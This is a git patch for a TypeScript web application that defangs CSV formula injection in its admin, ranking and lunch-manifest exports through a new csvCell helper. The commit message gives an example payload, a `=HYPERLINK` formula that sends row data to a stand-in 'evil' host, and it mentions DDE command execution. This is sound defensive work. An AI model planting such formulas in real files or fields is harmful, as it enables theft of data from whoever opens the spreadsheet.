From fbc42f11fdfc6f638815d8446cea32f4e875b761 Mon Sep 17 00:00:00 2001 From: Matt Date: Wed, 29 Apr 2026 04:14:42 +0200 Subject: [PATCH] fix(security): defang CSV formula injection in all exports MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r` are interpreted as formulas by Excel and LibreOffice when the file is opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus with no prompt and can exfiltrate row data to an attacker URL; DDE (`=cmd|...`) reaches RCE behind the "enable content" prompt. The platform exposes anonymous-attacker reachable sinks: - `application.submit` is publicProcedure with `projectName` as `z.string().min(2).max(200)` — no character filter — so a project titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every admin export that includes Project.title. - `userAgent` from any unauthenticated request is persisted to `AuditLog.userAgent` and dumped verbatim into the audit-log CSV. Three independent CSV builders all only escaped commas/quotes/newlines and missed the formula-prefix class: - `src/components/shared/csv-export-dialog.tsx` — used by export.evaluations, export.assignments, export.filteringResults, export.auditLogs, export.projectScores - `src/components/admin/round/ranking-dashboard.tsx` - `src/server/routers/lunch.ts` (lunch.exportManifestCsv) Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that prefixes a single quote when the value starts with a formula trigger, then applies the standard quote/escape rules. Wired into all three builders. Co-Authored-By: Claude Opus 4.7 (1M context) --- .../admin/round/ranking-dashboard.tsx | 12 ++---- src/components/shared/csv-export-dialog.tsx | 25 +++--------- src/lib/csv.ts | 40 +++++++++++++++++++ src/server/routers/lunch.ts | 29 ++++++-------- 4 files changed, 61 insertions(+), 45 deletions(-) create mode 100644 src/lib/csv.ts diff --git a/src/components/admin/round/ranking-dashboard.tsx b/src/components/admin/round/ranking-dashboard.tsx index 89c178f..c20eb91 100644 --- a/src/components/admin/round/ranking-dashboard.tsx +++ b/src/components/admin/round/ranking-dashboard.tsx @@ -39,6 +39,7 @@ import { Textarea } from '@/components/ui/textarea' import { Slider } from '@/components/ui/slider' import { Switch } from '@/components/ui/switch' import { ScoreExplainerDialog } from '@/components/shared/score-explainer-dialog' +import { csvCell } from '@/lib/csv' import { Collapsible, CollapsibleContent, @@ -652,16 +653,9 @@ export function RankingDashboard({ competitionId: _competitionId, roundId }: Ran } const headers = result.columns const csvRows = [ - headers.join(','), + headers.map((h: string) => csvCell(h)).join(','), ...result.data.map((row: Record) => - headers.map((h: string) => { - const val = row[h] - if (val == null) return '' - const str = String(val) - return str.includes(',') || str.includes('"') || str.includes('\n') - ? `"${str.replace(/"/g, '""')}"` - : str - }).join(','), + headers.map((h: string) => csvCell(row[h])).join(','), ), ] const blob = new Blob([csvRows.join('\n')], { type: 'text/csv;charset=utf-8;' }) diff --git a/src/components/shared/csv-export-dialog.tsx b/src/components/shared/csv-export-dialog.tsx index dce53cb..b826a8d 100644 --- a/src/components/shared/csv-export-dialog.tsx +++ b/src/components/shared/csv-export-dialog.tsx @@ -13,6 +13,7 @@ import { DialogTitle, } from '@/components/ui/dialog' import { Download, Loader2 } from 'lucide-react' +import { csvCell } from '@/lib/csv' /** * Converts a camelCase or snake_case column name to Title Case. @@ -105,30 +106,14 @@ export function CsvExportDialog({ const columnsArray = exportData.columns.filter((col) => selectedColumns.has(col)) - // Build CSV header with formatted names - const csvHeader = columnsArray.map((col) => { - const formatted = formatColumnName(col) - // Escape quotes in header - if (formatted.includes(',') || formatted.includes('"')) { - return `"${formatted.replace(/"/g, '""')}"` - } - return formatted - }) + // Build CSV header with formatted names. Use csvCell so formula-character + // headers (unlikely in practice) are still defanged. + const csvHeader = columnsArray.map((col) => csvCell(formatColumnName(col))) const csvContent = [ csvHeader.join(','), ...exportData.data.map((row) => - columnsArray - .map((col) => { - const value = row[col] - if (value === null || value === undefined) return '' - const str = String(value) - if (str.includes(',') || str.includes('"') || str.includes('\n')) { - return `"${str.replace(/"/g, '""')}"` - } - return str - }) - .join(',') + columnsArray.map((col) => csvCell(row[col])).join(',') ), ].join('\n') diff --git a/src/lib/csv.ts b/src/lib/csv.ts new file mode 100644 index 0000000..233cc1b --- /dev/null +++ b/src/lib/csv.ts @@ -0,0 +1,40 @@ +/** + * CSV cell escaping that prevents formula injection. + * + * A CSV cell whose first character is `=`, `+`, `-`, `@`, `\t`, or `\r` is + * interpreted as a formula by Excel and LibreOffice when the file is opened. + * Even with the "enable content" prompt for DDE, `=HYPERLINK(...)` and + * `=WEBSERVICE(...)` execute on cell focus and can exfiltrate row data to an + * attacker-controlled URL. Because user-controlled fields (project titles, + * names, free-text feedback, User-Agent strings persisted to audit logs) end + * up in our exports, we must defang any leading formula character. + * + * The defense: prefix the cell with a single quote `'` so spreadsheet apps + * treat the value as text. Then apply standard CSV quoting (wrap in `"` and + * double-up internal quotes) when the cell contains commas, quotes, or + * newlines. + */ +export function csvCell(value: unknown): string { + if (value === null || value === undefined) return '' + let s = String(value) + + if (s.length > 0) { + const first = s.charCodeAt(0) + // = + - @ \t \r + if ( + first === 0x3d || + first === 0x2b || + first === 0x2d || + first === 0x40 || + first === 0x09 || + first === 0x0d + ) { + s = `'${s}` + } + } + + if (s.includes(',') || s.includes('"') || s.includes('\n')) { + return `"${s.replace(/"/g, '""')}"` + } + return s +} diff --git a/src/server/routers/lunch.ts b/src/server/routers/lunch.ts index e4c2c94..ebeb807 100644 --- a/src/server/routers/lunch.ts +++ b/src/server/routers/lunch.ts @@ -4,6 +4,7 @@ import { router, adminProcedure, protectedProcedure } from '../trpc' import { logAudit } from '../utils/audit' import { buildManifest, buildRecapPayload } from '../services/lunch-recap' import { sendLunchRecapEmail } from '@/lib/email' +import { csvCell } from '@/lib/csv' // ─── Shared zod schemas ────────────────────────────────────────────────────── @@ -277,32 +278,28 @@ export const lunchRouter = router({ .input(z.object({ programId: z.string() })) .query(async ({ ctx, input }) => { const m = await buildManifest(ctx.prisma, input.programId) - const escape = (s: string | null | undefined) => { - const v = s ?? '' - return /[",\n]/.test(v) ? `"${v.replace(/"/g, '""')}"` : v - } const lines = [ 'Type,Team,Name,Email,Dish,Allergens,Allergen notes', ...m.members.map((row) => [ 'Member', - escape(row.project?.name), - escape(row.name), - escape(row.email), - escape(row.dish?.name), - escape(row.allergens.join(';')), - escape(row.allergenOther), + csvCell(row.project?.name), + csvCell(row.name), + csvCell(row.email), + csvCell(row.dish?.name), + csvCell(row.allergens.join(';')), + csvCell(row.allergenOther), ].join(','), ), ...m.externals.map((row) => [ 'External', - escape(row.project?.name), - escape(row.name), - escape(row.email), - escape(row.dish?.name), - escape(row.allergens.join(';')), - escape(row.allergenOther), + csvCell(row.project?.name), + csvCell(row.name), + csvCell(row.email), + csvCell(row.dish?.name), + csvCell(row.allergens.join(';')), + csvCell(row.allergenOther), ].join(','), ), ]